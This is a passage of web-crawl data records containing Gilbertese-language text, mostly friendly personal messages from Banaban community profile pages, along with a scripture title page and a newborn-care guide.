1.0000063180923462}","num_words":253,"character_repetition_ratio":0.065,"word_repetition_ratio":0.0,"special_characters_ratio":0.22,"stopwords_ratio":0.277,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"neiko nna tua taekam iroun Nei Joyce ae ko tabe ni internet ao ko aki karaoa am makuri. E uara ara iaia are iBanaba. Kamarika raoi imain taina kee.............. OOOOOppppssss e tabu te irantaanga. Te boo n ataei iiiiiiiiiiiiiiiiiiiiiiiiii\nneiko e nga am tamnei anne ngkai ea bon aki reke irou. Ko rabakau bwa ko kanakoa natim nako Banaba ao ngke e mena ao e reke ara booro n nete nte Turai aei. E tau bon tairake aikai tia tataninga rokona mai banaba. hahahahahahahaha\nNei Aunty Tarina Natina. Mauri. Neiko kanga i aki ataia bwa e a kanga aron weteam ngkai koa bon kabure riki n aki akaka. Ai bon te online iroum kee. Koa kabanea ana mane Nei Joyce ni kakabanetai iaon te air hahahahahaha. Ea reke ami iaia ke tuai?","id":"","dump":"CC-MAIN-2019-22","url":"http:\/\/banabanvoice.ning.com\/profile\/buatia976","date":"2019-05-25T09:02:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232257939.82\/warc\/CC-MAIN-20190525084658-20190525110658-00436.warc.gz","language":"gil","language_score":0.9999572039,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"gil_Latn_score\": 0.9999572038650513}","num_words":132,"character_repetition_ratio":0.054,"word_repetition_ratio":0.0,"special_characters_ratio":0.22,"stopwords_ratio":0.227,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"shhhh,kanga e bon maan te tai ni manga reitaki ao kam na mauri riki!!\neng ibukin Toaitaake e bon mwakuri naba nana taboo are e riki rake iona ahhhhh,\nao ngke ,e bon mwena ion Taiwan ao ena oki kana e koro ana contract are one year ao ane are nwt year 2010 on Feb or March.\ne koaua e bon anga naba ana kamauri nakoimwi ao riki ana kaka tekeraoi inanaon amwi mwakuri.\nAta etau ma eraba riki te reitaki ao te katekeraoi nakoimwi ni bane ao tia boo moa.\netau tia boo moa.\nAooo!!! Teikara ae ko iangoia....ko akin ataia ae ea buti ngkai ta bati nta kawai....ao akan ta kawa ngkoe ang....ko akin noora ta waaki ngkai.......ko bia aki n ongo aooo am buti ni meang ang...E kawa te aba ang!!!! Uringai naba nte 1 ta mangko n nangona ang......nanta ngkoa aram..... E tau tai manga taetae n aki akaka bwa i bia aki n ongo am karerarera.....\nTake care n hav a safe weekend\nNgkai, te bara ni katei riki ea mena i roum ba koaki man te botaki ni utu ao te HQ arei Rabi. Koa manga kaongoai am reke ba ana riki iaoni kawaina ao kam na roko iroun Atam ma Nei Ewa ah.ah.ah...........\nTavale ia butimaiko moa nakon te site aei, ba mina ngkoa akea ae kan butimaiko ao ea kawa te aba. Ia kabara naba au bure nakoia akea tararua te site aio ba ia manga kimoa tibangaia, just a joke.\nE uara te boo iroun Boboua","id":"","dump":"CC-MAIN-2019-22","url":"http:\/\/banabanvoice.ning.com\/profile\/AtaTerawea?xg_source=activity","date":"2019-05-24T09:11:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232257601.8\/warc\/CC-MAIN-20190524084432-20190524110432-00389.warc.gz","language":"gil","language_score":1.0000040531,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"gil_Latn_score\": 1.0000040531158447}","num_words":253,"character_repetition_ratio":0.047,"word_repetition_ratio":0.0,"special_characters_ratio":0.258,"stopwords_ratio":0.245,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mauri\nEuara te makuri??????? te kantaninga ba e bon raoiroi ao are bon teimatoa naba te marurung n rabata ao tamnei. Mai ikai ai bon arona naba kanga akea te rongorongo ae so much interesting to share ma e tau moa tia manga bon reitaki ngkana e reke te tai rimwi. Ena tekeraoi te makuri ao ana rau te Atua iaom n taai nako.\nTia boo moa\nBro u can get me on email@example.com but I will get u all the info for CLass 4 as I was known for the past as for regional students are FJD$1,000.00 plus but I dont the changes now as FIT is under the FNU now.....\nWish u luck and may GOd Bless U\nE raba te ururing...i nang marurung raoi mai ikai ao i nano kawaki n kaotia ae e aki nako raoi aorakiu ma ana babaire te uea. Tao bon tiaki moa au tai n reke buraen atuu kee?! lol....ao ko uara moa ao e uara naba am makuri? Keiakinna bwa ai tii teutana riki ao koa manga kukurei naba bwa ea tae nangim iai....hahaha! Aio ngkai te unaine ae e taetae tiaki Nei Regina.....hahahahaha! Te kewe! te kewe!\nE tau ma tetekeraoi naba am waaki mai iaon am kaibuke ao e na raoniko ana tangira te uea n taai nako.\nmauri moa,korabwa naba te mail itaku ba kobon\nmaninga taekau makoaki shshshs,euara temakuri\nmai kanne?itaku bae ibon butiraoi bai ni kabane mai\nkanee,shshsh,kobon kakoakoa raoi au BAI mai kanne!!!!!\nhahahahaha....\ntekeraoi naba te makuri ao temamananga tiamanga bon\nreitaki rimi,,,,,TOFA.........\nTake care...\nBYE........\neeii bor te kamauri nakoim tai kaota ae i kamauria tarin Tatabo na ko ia Tieke ma bwebwe Kee. bon au kamauri nakoia ngai iakua n tatarebon nako rambi ao ni bon nakoati e aki rereke ao e rangi ni mwaitoro ikai e a bwaka te tinoo bro I atia ni karina am gggmail irou ko rabwa tiabo.\nte roronga ae kakawa ttimeon\nBro a boni bane ni marurung ao ia bon angania am kamauri ao ai bon te kamauri ao te inga mai roura kain Taunovo ao ai moarariki mai irou ma katangaua.....hope that everything is fine with u there and no worries I will keep u update for Peaipeta..wish you a delayed Merry xmas and happy new year from me, tatabo & florry...bro ai bon raora ngkai Tieke & Bwebwe ao ai bon raoraou nako Suva teunimane from monday till today.\nTao ia manga toki moa ikai ao ia manga ongora riki mai roum.\nEna tekeraoi te makuri ao koa email nakon au email address ae firstname.lastname@example.org\nTia Boo Moa\nngai tarim\nKire","id":"","dump":"CC-MAIN-2019-22","url":"http:\/\/banabanvoice.ning.com\/profile\/TaramarawaTimeon","date":"2019-05-24T09:37:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232257601.8\/warc\/CC-MAIN-20190524084432-20190524110432-00507.warc.gz","language":"gil","language_score":0.9998776913,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 0.9998776912689209}","num_words":434,"character_repetition_ratio":0.045,"word_repetition_ratio":0.0,"special_characters_ratio":0.236,"stopwords_ratio":0.214,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mauri naba saunanimane!! i taku bwa kam a bon n tia n ongo bwa ea tia ni motirawa Bou are are tarin Munaton man te maiu aei... koa taiaoka ni kaongoa Tabore ngkna e tuai n ongo... tao ti ngaia moa rongorongon rabi... ti bon marurung ma ara koraki nte auti .. bon te makuri ae iangoaki nte bong koraki ikai .. nna manga bon roko i kiribati nte 26th July ao nna tiku nte otintaai hotel... regards to evryone there e moamoa riki au bro Tabore.. tibo moa ao tekeraoi.\nMauri Harry ko uara ngkai??.. i roroko ikanne ao iaki ataa te tabo ae ko mena iai.. anyway i will be around there sometimes.. ko mena ia ikanne i kiribati??.. bwa ia onga n ataia ngkna i roko ikanne.. tao tia bon rereitaki tibo moa tekeraaoi te waki ikanne .... e tikiraoi ngkna ko bon kinai naba ana brother Beningare..","id":"","dump":"CC-MAIN-2019-22","url":"http:\/\/banabanvoice.ning.com\/profile\/HarryCorrie","date":"2019-05-20T03:17:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232255536.6\/warc\/CC-MAIN-20190520021654-20190520043654-00098.warc.gz","language":"gil","language_score":0.9999541044,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"gil_Latn_score\": 0.999954104423523}","num_words":148,"character_repetition_ratio":0.018,"word_repetition_ratio":0.0,"special_characters_ratio":0.246,"stopwords_ratio":0.236,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko uara? Eu wara te makuri ikanne? I seen your photo with your Certificate but I wonder anyway Congratulation.....\nExcuse this stranger's message, I saw you on the Banaban web side and I just want to glimse to you, Did you still remember your Rabian gang when you were boarding at St. Bedes in Savusavu? I am one of them and if you want to know me more you open my profile web for the Banaban and see if you still remember me.. Tau tia manga boo moa kee.. Ena Tekeraoi am beku and God Bless. Tematoro\nbro mauri long time no cc, ia tia n roko last year ao i mena i uma nte auti, kaitibo ma aunty Katake mang Katauea ngai ni kabane,i kaitibo naba ma Tuese ma buuna e kawa kee Nam Pilitati, Kaite aboni bane ni marurung raoi,ao Toariri ea tia ni mate e kabaea roroana,Nam Mamanna ea tia ni iein, ao e boni maiu naba ao ea mara riki atunaa hahhahah e boni maruirung raoi, ngai ngkai imena i tasmania ba iai au course ae i karaoia ikai ao ena bane nakon aug,then spent a vacation in Fiji\nnagania kain am auti au kamauiri ao angan Koria,Nei TEINAIETA au kamauri manatia ni kabane ao kam na kabai tia manga bon rereitaki\ntake care\nJKBiara\nhahaha bro kam aeara kam kauringa aromi ngke kam bero ke ma maio hahaha,sshh akea arom koa maga kaoti i kiribati ke,ko bai kirina te mamanaga ke hahaha bro koa agania nae natim au kamauri ao moamoa rikite kamauri nakoin buum anne hahaha..tekeraoi te waki ikanne bro..\nTIA BO\nBula Sakamoto.?shshshsh long x no ccc eeaa.Ngai i bon mena i betio ma ia kua ni kakaea am auti.Kai ko raraba bwa ko kuneai,a\no ngke mena,i buua ibuakoia burorika.Eang karekea ara tai ni kaitibo main manga te mananga.Bon akea au kanganga ngkoe ma buum bwa ngaia au koraki naba nikunau.Shshshshsh bon au koraki buumi.Mail nakoiu nau address aio bwa wakoa riki email@example.com .ker call au cous mobile 92463 or home phon 25180 ao I a reke naba\nhahahahaha eaera eaki tau natimi ae teniman hahaha......tiaki raraoma iroum ba are koa katorika hahaha.... bro ngai ngkai i mena new zealand ao i tuai iein ba e tuai moa iangoki hahahaa ao ngkoe tao bon iaon kawaina hahaha.....koanang ababaki ke....ao komena ia ngkai??? koa manga reitia ma ikanne bro mawan am tai....tekeraoi ma am utu..\nmoce!\nyo bula!!!\nmauri bro,kouara ngkai?? isa koa nang tara ni m'aane ke...peter aio kain am next door i tabiang......iongo koatia niein buum kain kiribati...ao iraman ngkai natimi????? bro koa manga reitia ma ikanne ni mawan am tai...tao tekeraoi moa ngkami\ntiabo moa","id":"","dump":"CC-MAIN-2019-26","url":"http:\/\/banabanvoice.ning.com\/profile\/sakamoto","date":"2019-06-27T04:30:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-26\/segments\/1560628000613.45\/warc\/CC-MAIN-20190627035307-20190627061307-00247.warc.gz","language":"gil","language_score":0.9957533479,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"gil_Latn_score\": 0.9957533478736877}","num_words":443,"character_repetition_ratio":0.04,"word_repetition_ratio":0.0,"special_characters_ratio":0.226,"stopwords_ratio":0.144,"flagged_words_ratio":0.0,"lang_id_score":0.996,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Rinerine Man Ana Kaotioti, Rairairi, ao ana Taeka Iotebwa Timiti Ake a Koreaki Te Moan Burabeti, Te Tia Mamata, Ao te tia Kaotioti, Nakon Ana Ekaretia Iesu Kristo Ibukiia Aomata Aika a Itiaki Ni Bong Aika Kaitira\nE boretiaki n Ana Ekaretia Iesu Kristo ibukiia Aika Itiaki ni Boong aika Kaitira","id":"","dump":"CC-MAIN-2019-26","url":"https:\/\/www.churchofjesuschrist.org\/study\/scriptures\/pgp\/title-page?lang=gil","date":"2019-06-17T06:46:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-26\/segments\/1560627998440.47\/warc\/CC-MAIN-20190617063049-20190617085049-00104.warc.gz","language":"gil","language_score":1.0000081062,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000081062316895}","num_words":51,"character_repetition_ratio":0.113,"word_repetition_ratio":0.0,"special_characters_ratio":0.188,"stopwords_ratio":0.373,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"nee mauri riki ... e raraba naba te reitaki.. ao ko uara moa..euara te reirei.. tekeraoi naba am waki ao te kamauri naba mai push tailevu..euara te camp.. i wish we were there too..anyway taraia koaki kan try this site riki aio... kaga to te bai n testing aio ana website.\nrabisdayouth.ning.com ao koa register naba iai ba tia kona naba n reitaki ma ara frens and famz naba... take care n wish u luk...c u on rabisdayouth.ning.com\nneiko iataku bwa koa mate kai koaki write back naba....so\nhw's everythin goin hope u enjoyin stayin in savutalele......wait 4 me there ok........sohola bck weneva u free so dat i knoww u still alive....ok!!!!!!!!!!!!\nreguds 2 de fmly at om heeee.......bye 4 now and take care........\nngaia anne e raraba naba te taeka ni katekeraoi.. ao ai wana naba nakoim n am waki... ena tekeraoi naba am waki ikanne ao ai bon te kamauri mai irouia kain push tailevu....tau gud nite moa ao koa manga reitia mai ikanne.\nmauri nee e raba naba te reply back ao kanga akea moa mai ikai ba e bati te tabe nte bae te assignment aei ao tao ai titebo naba ma ngke n am reirei.. tau ena tekeraoi am waki ao koa manga reitia mai ikanne..\nhey mauri riki... e raba naba te taeka ni kaunga... ao ai arona naba ma ngke.. ena tekeraoi am waki ao riki n am reirei. te kamauri naba mai ikai ao riki nakoia am koraki.. tau tao na toki moa ikai ao koa manga bon hit back kana e reke am taai.","id":"","dump":"CC-MAIN-2019-26","url":"http:\/\/banabanvoice.ning.com\/profile\/mauakamarie","date":"2019-06-24T19:19:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-26\/segments\/1560627999709.4\/warc\/CC-MAIN-20190624191239-20190624213239-00382.warc.gz","language":"gil","language_score":0.9977270365,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"gil_Latn_score\": 0.9977270364761353}","num_words":259,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.266,"stopwords_ratio":0.185,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bong aikai I nanon te moan weeki ao ko reireiniko aroarom ni riki bwa te tina.\nE aki toki aroarom ni kataneiai ni te maiu ae boou I nani am auti, ao ko bon reireiniko naba ni bitaki aika ko kaitara ni te maiu ni tina ao baai aika ko riai ni karaoa I bukin natim ba ena rikirake raoi. Tiaki te tai ae bebete ao I nanoni moani tai aikai ko tararuaia natim nte 24 hours ao n tai tabetai e aki reke te matuu raoi.\nwww.raisingchildren.org is a website with useful information about what to expect and how to look after yourself so you can look after your baby.\nCheck out this video for some tips for the first 6 weeks.\nTe moan rinan bon arom ni reitaki ma natim\nTaratara te Aroha Atu, Aroha Mai aia moan DVD e katauraoaki I roua kaan Counties Manukau DHB ma te Auckland University of Technology e kaotaki te iango bwa ataei aika uarereke a kona reitaki ma ngaira man te taai aika bungiaki iai. Te birim aio e buokaki ai kaaro ao tiina, whanau ao taani ibwobwoki te atatai bwa ti kona ni ota ni baai aika tangiraki mai rouia ataei bwa na rikirake raoi.\nTe DVD e buokiko bwa kona oota raoi n te tai ae ko kona ni taua te ataei n te aro bwa ena taraiko- te moagare mai roum e bati ni tagiraki I roun te ataei bae bia taratara ni te moan week.\nAo ea rikirake natim ni ikawai ao ea moan ni taetae taeka ni bia reitaki ma ngkoe. Taetae nakon te ataei ao nkana e maiti am taetae ko kona ni kabongana ni kabane nakon te reitaki ma natim.\nTangi\nTararuakin te ataei I nanon ana tai ni tangi bon te kaangaanga teuana ao kona nabwa ni un iai.\nN te tai ae maonaki ai te maiu ni tararua te ataei ao e kagaaga bwa ko na oota ba tera bukina e tangi iai te ataei- a maiti aron tangin te ataei ao bukina. E bon tatangi ni te moan week ni karokoa 3 nakon 6 te wiiki ae e moan ni toki. Ni tai tabetai e kona te ataei ni tangi uaua te aoa I nanon te bong.\nAi matin te tai bon te tawanou ao te bakantaai- n te tai ae tuai ni tauraoi ni matu te ataei ao bia amarake ao e aki bakitaia. E katauaki nakon 20% ataei aika tangitangi n te tai ae te bakantaai.\nE rangin kakua taratarakin te ataei ae tangi naki akaaka ao akea bukina.\nAki ataki raoi ba bukin tera e tangi te ataei ao e bukinaki nakoia kaaro ao aio bon rikiraean te ataei ao aroarona.\nE kona ni bukinaki te tangi bwa ea baaki te ataei, ao nkana e tiba nuiai te ataei, ao tao I bukin e riai ni oneaki ana kunikai, nke te maraki n te rabata(marakin biroto, taniga, guina) tao ea bon roko te kua ao te aki rau I roun te ataei\nKakaea te Ibwobwoki\nAo e kakoauaki bwa iai bong nke moanaki ni bwikoukou e kanganga. Ao nkana a miti riki bong ni kangai ao ko riai ni taeate nakon te mana tao te utu raoraom ao kona nui buokiko. Ngaira ni kabane ti bane ni tagiria te ibwobwoki I nanon taai ni kangai ao ko riai ni kakaea te ibwobwoki ao tai maama.\nClick te reitaki mai i ana ibukia aomata aika kona ni ibwobwoki","id":"","dump":"CC-MAIN-2019-26","url":"http:\/\/www.tapuaki.org.nz\/ki\/boong-aika-ko-moanaki-i-ai","date":"2019-06-16T11:06:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-26\/segments\/1560627998100.52\/warc\/CC-MAIN-20190616102719-20190616124719-00182.warc.gz","language":"gil","language_score":1.0000095367,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.000009536743164}","num_words":574,"character_repetition_ratio":0.06,"word_repetition_ratio":0.0,"special_characters_ratio":0.22,"stopwords_ratio":0.376,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"hi again sis kouara riki shsh koa tia maga kaitibo naba ikai ker hey ao koa riki au kamauri nakoia kain te auti ker at stream valley ok tias boo moa ao e tekeraoi naba te waaki mai ikanne\ntakecare sisi tia bo moa\nmehn..dauve,aw's y'ur bro...u must hav been well-prepared in the upcoming uni-graduation function..so aw's the GYM thing and usp choir practise..heard from Lisepa that Baaki banaana bon te female alto..is it true??wanna know cos i want to record his voice..hehehe..lol\nngaia anne ena kanga are bon akea te program n ara tabo aio ngaia are tia kabongaira n kabanetai nte net.. angke ti mena i fulton are ekaan nako tailevu. ao ngke ko waki naba n m reirei. e tau tekeraoi am reirei ao koa manga bon hit back kana ko mawa. take care ao faa moa..\nNei koikoi,,,,hows scooooo?????????don't think to much about Uma rerei....Ena tekeraoi te reirei ao te waaki.God with u ooooo day.....tao tingaia ane moakai ao no new from here only school make mi sick..Ma tina iangoia raoi ba te future ae tibane niwaiakina......Eraraba te re........ Tiaboooooo moa keee....N koikoi","id":"","dump":"CC-MAIN-2019-26","url":"http:\/\/banabanvoice.ning.com\/profile\/Oere","date":"2019-06-24T20:30:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-26\/segments\/1560627999709.4\/warc\/CC-MAIN-20190624191239-20190624213239-00511.warc.gz","language":"gil","language_score":0.992221117,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"gil_Latn_score\": 0.9922211170196533}","num_words":187,"character_repetition_ratio":0.007,"word_repetition_ratio":0.0,"special_characters_ratio":0.242,"stopwords_ratio":0.144,"flagged_words_ratio":0.0,"lang_id_score":0.99,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mauri o. E uara te maiu iroum ma natim? Au kantaninga ba ko boni marurung raoi ma natim ao kain abaam.E a maaan te tai ao tia manga taetae ni banan Banaba.I bon marurung naba ma kain au auti ni bane ao tinau aei ae e roko mai Rabi.I bon kan itoman ma ngkoe naba nte tarebon ngaia are aio namban au auti ngkana e reke am tai ni itoman. Bye for and Regards to all the kids.\nMauri,\ne nang kanga te maiu aei ba ti te maiu ni kakariki..haha..i aki kona te tang n aei ba ai teka3 ao ea bon ruuti raora aei, tiaki n ai aron te moan..haha\nTinara mai i rabi ai iaoni kawaina n roko, tao friday ao a roko raoi ikai..bon ngaia ma Tabuti. Tarome ae ea start ana course i FSM iaon te pub.health Nrsg..e bon mena naba i A&E..E tau ma ena tekeraoi te waaki, tia manga bon rereitia rimwi..tia boo moa\nMauri,\nkam uara? tera ae ea iangoaki ngkai manga te nako naba nte reirei? ko maeu..ngai ae iaon kawaiu ni bung, i tuai apply au leave tao ngkana ea otinako raoi tetei ha ha. Ai akea ngkoe ma Tarome are kam nanako ni kakaninganingai ngkana i labour pain..ao e uara te reirei?i taku ba koa kani bane..bon akea rongorongon au tabo aei ti tinara ma Tabuti ai iaon kawaia n nakomai...Tabuti e bon tuai toki ana mamau aine ngaia te kan nakomai n nora nei Raine..ao ana bunnatoi a maiti i rabi...\nTao bon ti aikai moa au kaongora e nabakara te uti n tauboro, e tekeraoi te reirei ao tia boo moa..","id":"","dump":"CC-MAIN-2019-26","url":"http:\/\/banabanvoice.ning.com\/profile\/BibiKatabwena","date":"2019-06-16T13:36:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-26\/segments\/1560627998238.28\/warc\/CC-MAIN-20190616122738-20190616144738-00124.warc.gz","language":"gil","language_score":1.0000020266,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"gil_Latn_score\": 1.0000020265579224}","num_words":274,"character_repetition_ratio":0.029,"word_repetition_ratio":0.0,"special_characters_ratio":0.237,"stopwords_ratio":0.252,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko na mauri Kikira! I taku bwa tao ko na bon mimi irou bwa are ko aki kinaai. Ngai bon Teweri ae natin Nei Akoia. E rabwa te Uea ngkai tia manga kaitiboaki n te Banaban voice. Bon bwanau ni kamauri ae takaburinako ni ikotaki au katekeraoi ae bati nakoim ma am utu ni kabane. Ai bon au bubuti naba bwa I kan ata rongorongon Nei Akoia bwa e uara ngkana e a manga reke te tai n reitaki ni mwawan tabem, Ko bati n rabwa ao ti a manga boo moa.\nMauri Aunty, ko uara ngkai? au kantaninga bwa ko bon nang marurung raoi ao kai te same naba mai ikai.\nTao kona bon mimi bwa antai ana ae kaekaekako aio........bon te roronga mai Kiribati.......Angke Waisele Tuinakelo.\nAunty e nang warereke au tai bwa e nang mate te power ma ngkana e reke au tai ao i a manga reitia. Tekeraoi ngke ao ko anga naba au kamauri nakoia kain Rabi ngkana e reke rokom n te auti ke tao ngkana ko tareboon.\nKo na mauri Kikira. kou wara? Au kantaninga bwa ko bon marurung raoi ma an utu.. Tera ae bon karaoaki ngkai. Isa I missed the Fiji weather. here at the moment enang maitorotoro bwa ataku bwa te winter ao tekacolo mai Rabi eaki ata tera te winter. this is my first time experience it and very excited to playing with the snow couple of months ago. hey tau konakanga bwa iabon antai aei. Ngai bon temana kain am kawa ae UMAREREI. etau tia manga reitaki nreken te tai kee. Tia boo moa ao ena tekeraoi am bong. Sr. Tematoro. Uabong.\nAuessa nei Dauve, Mauri Mauri Naba....how are you and your family?....e nei boboto natim....looks like you nothing close to the father....lol.....all is good my end. I guessed you must have gone through my profile and seen my photos. I have two children, a girl who is 2 and boy who is turning one in October. Nothing much is happening just the usual busy with the two lil ones and preparing for winter, which I am not looking forward to. Can't wait to get back to Fiji. And wats the latest from your end?...let me know...take care and GOD BLESS...loads of love Bureriti and family.\nmauri moa sis.. neiko ngaia kama kam roko ikanne ao eaera ko aki kaman wewete iaon te google talk ba tina kaitibo iai..e raoiroi ba are i bon iai tain baai kee mangaia ane koa roko ikanne ma online tonight ba tina maroro teutana imain manga okimi. ko bon ata ngkoa au email address kee ao i taku ba e ataia naba raom anne.\nNeiko bon te bana ni kamauri ae moan te bati nakoimi ao riki baby ao te kantaninga ba ena rikirake inanon te ongotaeka ma tei tangitangiri n ai aroia ara families kee.\nIa manga ongongora iroum ma karekea ara tai ni kaitibo nte google talk imain nakoimi taiaoka. Aio riki au email address ngkana ko a maninga: firstname.lastname@example.org\ntekeraoi nakoimi ao kakan-taninga mairoum.\nlol ur sis\nDonna K Matauea\ntake care\ngod bless!\nMauri sis..bon te roko ni kakatekeraoi nakoim ma ami utu ikanne nte inaomata aio..ao kantaninga bwa ena nakoraoi kanoan ami inaomata. Bon te kakamauri ae takaburi nako nakoimi maikai ao kataninga bwa ena teimatoa te rereitaki kee..\ntau tekeraoi riki ngkami ao regards from us to the family there..sepecially ur baby\nlove Donna Matauea\nHi sis, thanks for da add ao ai bon au kakatekeraoi nakoimi ma natimi ao riki nakon aunty ma au brothers and sisters ikanne.\nIai te kanamakin irou ae kama oki ngkai nako rabi ba ia manga aki nonoriko n online, ma e raoiroi ba i bon iai tain baai ni kabane kee.\nOnce again e raraba riki ao tetekeraoi ngkami maikanne.\nLolz n don't forget plzzz big hug and kiss to baby but not da dad!! ha ha ha","id":"","dump":"CC-MAIN-2019-26","url":"http:\/\/banabanvoice.ning.com\/profile\/kikira","date":"2019-06-20T01:13:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-26\/segments\/1560627999130.50\/warc\/CC-MAIN-20190620004625-20190620030625-00129.warc.gz","language":"gil","language_score":0.9994083643,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"gil_Latn_score\": 0.9994083642959595}","num_words":648,"character_repetition_ratio":0.041,"word_repetition_ratio":0.0,"special_characters_ratio":0.221,"stopwords_ratio":0.187,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tira koa n anga Nei Mereia te address aio bon mai Kiribati te aine. Linda Kiakia e bon makuri nte Solar Energ Company, PO. BOX 493 Betio. Taiaoka bro koa anganna bwa i taku bwa bon tarina ti bo moa and regards to the kids and the family hv a nice long weekend. moce maca.\nEa bon rangi ni maan ao ia tiba noriko inanon te tabo aei. E rab'a ana tangira te Uea b'ae bon teimatoa te maiu. E uara te kekeiaki i nanon te aro, ngaia ko bon teimatoa naba. Koa uringai naba n am tataro ao ia uringko naba n au tataro mai ikai n am tabo aei Tuvalu.\nBon te kamauri naba nakoin kain abam ma natim ao am utu ni bane ikanne nte Western. Iai manangau nakon LAutoka ma Nadi nakon te namakaina ae boou. Ngkana e reke irou am tabo ao i kona ni visit for a few hours ngkana iai au tai.\nMauri mani banan Kiribati\nE uara te makuri,au kantaning ba e bon nakoraoi,ke iakinna ba are bon irian te maiu aei. E tau ma tekeraoi te waki.Te kibu ni kakorakora n Jeremiah 29=11 Warekia ao ena riki ba am tataro ibukin kanoan bong aika na roko.\nTia bo moa.God bless and your family.","id":"","dump":"CC-MAIN-2019-30","url":"http:\/\/banabanvoice.ning.com\/profile\/TiraTaniera","date":"2019-07-24T02:57:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195530250.98\/warc\/CC-MAIN-20190724020454-20190724042454-00210.warc.gz","language":"gil","language_score":0.9999927282,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"gil_Latn_score\": 0.9999927282333374}","num_words":210,"character_repetition_ratio":0.017,"word_repetition_ratio":0.0,"special_characters_ratio":0.23,"stopwords_ratio":0.243,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Greetings Uncle!!! Long time no see ma ara kantaniga bwa kam bon nag fine and kicking.\nHey, tia nag miss u ntain te botaki n utu ikai..Tateraka family raom aei..Ai bon c gagaira ao Rutete ma ana sisters akekei ni kamatoaa Takoto..tsktsk can't wait 2 see u again...anyway, tekeraoi te X'mas ao te New Year aei...\nHi,Tawale,e kakawaki te reitaki ma n share the words of encouragement nakoim.Proverbs 3=5 --6.Trusting the Lord with all your heart.in all your ways acknowledge him and I'll direct your path.Jesus is our captain,our helper in times of troubles.God bless you my bro.Tiabo\ne rarabwa anne.........last year ao i reirei noo i beru ao bon au gurdian Teokata ma Tebukaa,bwa au koraki teokata n i-banaba ma i kinaa am surname ngaia ae ia add u naba, e nanga marurung raoi ao ai uaoman natina tanaan girls...........ana karimaoa arana..(Bwauoti)..ana karimwi arana..(Erenoo)\na bon uaia n tia reirei taangaia ........ e teach te English irouia F4s,ao Tebukaa, e teach te history ao te geography irouia F4,5&6s......\nao this year i a nang miss teokata ma buuna bwa ae ia mena iaon tarawa ma te problem bwa iaki ataa ana e-mail add......buuna\nngkana e reke ao ia manga kaotia ............ok? tai raoraoma bwa iai te internet i- beru ma ia maga bon kakaea raoi angan reitakiu ma ngaiia.\nMauri tiaunimane kam uara ma natimi ea reke aia tai natim mane ni kaina te arny mai Vanuata ke kanga ea bon roko tai are ea nako te maitoro mai ikai e nang korakora ao ngkai ea bon toki E bon nako te makuri ikai akea tokina man te moanibong ni karokoa te kaonobong e nang kawa te aba te waki aio ke kanga tau tao ea bon moa mai ikai ma koa mannga ritia mai ikann moce mada ao tekeraoi te waki koa bon angan tiaunaine ara kamauri mai ikai\ngaia ane .... e raraba naba te respond man ami itera anne... ao tera ko karaoia i vanuatu.... e koaua ko mataku n au picz n au profile ao aikanne bon tamneia natiu ao ai kain au ara auc n ara tabo ae fulton. akea te news mai ikai ba ti iagoan naba te bae te makuri ao ai te reirei irouia taan reirei. ai bon te kamauri nakoia am koraki n ami tabo ane vanuatu.....koa maga bon rereitia n reken mawan am taai.\nmauri Ruteru..aio Tebau are natin Roteti ma nei Karawauea..kain ngkoa ana course nei Batiwate are kain abam i Tarawa ngkoa..i mena ngkai nte USP i biti ikai ao ai au last year,ongou ba kam mena ngkai i Vanuatu..ngaia raoi anne,i nang kamoamoako ma buum anne ba kama roko nte aba anne..ngkana ko kaitibo ma 